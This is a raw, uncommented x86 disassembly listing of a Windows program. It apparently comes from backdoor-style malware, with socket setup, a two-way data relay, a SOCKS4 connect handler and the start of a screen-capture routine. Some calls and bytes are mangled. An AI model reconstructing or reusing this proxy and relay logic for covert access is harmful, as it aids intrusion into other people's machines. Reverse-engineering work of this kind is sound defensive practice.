		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43F6A8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_43C848[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_43D7E8
		push	esi
		nop
		call	near ptr 26A0000h
		push	80000400h
		push	esi
		call	near ptr 2690C15h
		nop
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_43C84C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A

loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_407AE5

loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------

loc_407AE5:				; CODE XREF: sub_40797F+159j
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B

loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_43C848[eax*8]
		push	eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_43C84C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_43D7E8
		nop
		call	near ptr 26A0000h

loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_43C84C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DFo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43F6E8
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4450CC[eax], ebx
		call	dword_43F584
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43F694
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43F690
		test	eax, eax
		jnz	loc_407D42

loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43F6FC
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		call	near ptr 2640B35h
		nop
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407D2D

loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------

loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------

loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43F700
		push	ebx
		call	dword_43F700
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed


loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43F6E8
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43F668
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43F6EC
		jmp	short loc_407E04
; ---------------------------------------------------------------------------

loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43F620

loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4450CC[ebx]
		mov	dword_4450C4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_4450D0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_4450D4[ecx], eax
		jz	short loc_407F09

loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------

loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h

loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 2610941h
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4450CC[eax]
		call	dword_43F700
		push	dword ptr [ebp+8]
		call	dword_43F700
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		call	near ptr 25D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_4450D0[esi]
		call	dword_43F680
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4450CC[esi]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84

loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_4450D0[esi]
		call	dword_43F700
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------
		sbb	[eax+5E5F021Ch], al

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43F668
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43F6E8
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43F694
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43F690
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43F6FC
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4450C4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2640B35h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4450D4[ecx], eax
		jz	short loc_40816C

loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		nop
		call	near ptr 25D0CB3h
		jmp	short loc_408159
; ---------------------------------------------------------------------------

loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		nop
		call	near ptr 2610941h
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43F700
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 25D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4450CC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43F650
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43F680
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43F6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43F5FC
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43F5FC
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h

loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43F6B8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43F700
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 25D0000h
		nop

loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43F700
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 25D0000h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1

loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43F650
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43F560
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE

loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43F560
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43F680
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43F6B8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9

loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45B1p

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43F654
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43F670
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43F670
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43F670
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43F670
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------

loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx

loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43F6B4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43F6AC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43F544
		cmp	eax, esi
		jz	loc_4087D7
